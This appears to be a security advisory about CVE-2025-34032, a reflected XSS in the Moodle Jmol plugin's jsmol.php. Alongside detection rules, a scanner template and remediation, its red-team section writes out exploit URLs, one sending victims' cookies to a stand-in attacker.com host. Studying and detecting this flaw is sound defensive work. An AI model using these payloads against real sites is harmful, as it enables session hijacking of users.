CVE-2025-34032

Executive Summary

CVE-2025-34032 is a reflected cross-site scripting (XSS) vulnerability in the Moodle LMS Jmol plugin, version 6.1 and prior. The flaw resides in the jsmol.php file, specifically within the data parameter. The application fails to sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-02 UTC. The vulnerability has a CVSS score of 5.4 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a Moodle plugin. The supply chain risk is limited to the plugin's distribution and update mechanism. Administrators should ensure they obtain the plugin from the official Moodle plugins directory and verify its integrity.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is considered Medium due to the requirement for user interaction (clicking a crafted link) and the limited impact on confidentiality and integrity. However, the low attack complexity and network-based vector make it a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The jsmol.php script accepts a data parameter via a GET request. This parameter is intended to pass data to the Jmol applet. However, the application does not sanitize or encode the input before reflecting it in the HTTP response.

The vulnerable endpoint is:

/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=[PAYLOAD]&mimetype=text/html

When a user visits a crafted URL, the server responds with the content of the data parameter directly in the response body, with a Content-Type of text/html. This allows the browser to interpret the payload as HTML and execute any embedded JavaScript.

The Nuclei template confirms this by sending a payload of <script>alert(document.domain)</script> and checking for a response body of exactly 41 characters (the length of the payload) and a Content-Type of text/html.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code in jsmol.php likely looks like this:

<?php
$data = $_GET['data'];
header('Content-Type: text/html');
echo $data;
?>

Patched Code (Conceptual): A patched version would sanitize the input using htmlspecialchars() or similar functions to encode HTML entities, preventing script execution.

<?php
$data = $_GET['data'];
header('Content-Type: text/html');
echo htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Moodle instance with Jmol plugin <= 6.1.
• A web browser.

Exploitation Steps:

1. Craft a malicious URL with an XSS payload in the data parameter.
2. Send the URL to a victim (e.g., via email or social engineering).
3. When the victim clicks the link, the JavaScript executes in their browser.

Example URL:

http://target-moodle.com/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=<script>alert(document.cookie)</script>&mimetype=text/html

Advanced Payload (Session Hijacking):

http://target-moodle.com/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>&mimetype=text/html

Blue Team

Detection:

• Monitor web server logs for requests to /filter/jmol/js/jsmol/php/jsmol.php with suspicious data parameters containing <script> tags or other HTML/JavaScript.
• Use the provided Sigma and Suricata rules for automated detection.

Hunting:

• Search for any recent access to the vulnerable endpoint.
• Check for unusual outbound connections from the Moodle server.

Indicators of Compromise (IOCs)

• URL Pattern: /filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=...&mimetype=text/html
• HTTP Response Body: Contains the exact payload from the data parameter.
• HTTP Response Header: Content-Type: text/html
• Network Traffic: Outbound connections to attacker-controlled servers (if session hijacking is attempted).

Detection Engineering

YARA Rule

rule CVE_2025_34032_Moodle_Jmol_XSS {
    meta:
        description = "Detects reflected XSS attempts against Moodle Jmol plugin CVE-2025-34032"
        author = "Valters IT"
        date = "2025-02-03"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-34032"
        severity = "medium"
    strings:
        $url_pattern = "/filter/jmol/js/jsmol/php/jsmol.php"
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $url_pattern and $xss_payload
}

Sigma Rule

title: CVE-2025-34032 Moodle Jmol Plugin Reflected XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against Moodle Jmol plugin CVE-2025-34032
author: Valters IT
date: 2025/02/03
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34032
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: "/filter/jmol/js/jsmol/php/jsmol.php"
        cs-uri-query|contains: "call=saveFile"
        cs-uri-query|contains|re: "<script[^>]*>.*<\/script>"
    condition: selection
falsepositives:
    - Legitimate use of the Jmol plugin with script tags (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-34032 Moodle Jmol Plugin Reflected XSS Attempt";
    flow:to_server,established;
    content:"/filter/jmol/js/jsmol/php/jsmol.php"; http_uri;
    content:"call=saveFile"; http_uri;
    content:"<script"; http_uri;
    pcre:"/<script[^>]*>.*<\/script>/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2025-34032

info:
  name: Moodle LMS Jmol Plugin <= 6.1 - Cross-Site Scripting
  author: madrobot,ritikchaddha
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through crafted links containing XSS payloads in the data parameter, potentially leading to session hijacking.
  remediation: |
    Upgrade to a patched version of Moodle Jmol plugin that properly sanitizes user input in jsmol.php.
  reference:
    - https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34032
  classification:
    epss-score: 0.0013
    epss-percentile: 0.32088
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cve-id: CVE-2025-34032
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: cve,cve2025,moodle,xss,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(document.domain)%3C/script%3E&mimetype=text/html"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 41'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and

      - type: regex
        regex:
          - '^<script>alert\(document\.domain\)</script>\s*$'
# digest: 4b0a0048304602210099b1331ea2fb1cb3a9c54bdbbbe7740987108782e97708e93d326eec93d1973a02210095b4c3b33e965b34b2555f18e3480c9dce21dab6462f0f188499d708c7dc5bca:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Disable the Jmol plugin if it is not essential for operations.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in the data parameter.
3. Restrict access to the vulnerable endpoint using network access controls.

Long-Term Fix:

• Upgrade the Jmol plugin to a patched version as soon as it becomes available.
• Apply input validation and output encoding to all user-supplied data in the plugin.

Workaround:

• If upgrading is not immediately possible, modify the jsmol.php file to sanitize the data parameter using htmlspecialchars().

Valters IT

{/* [Security Hash: 779105654D96CF947F0FD091] */}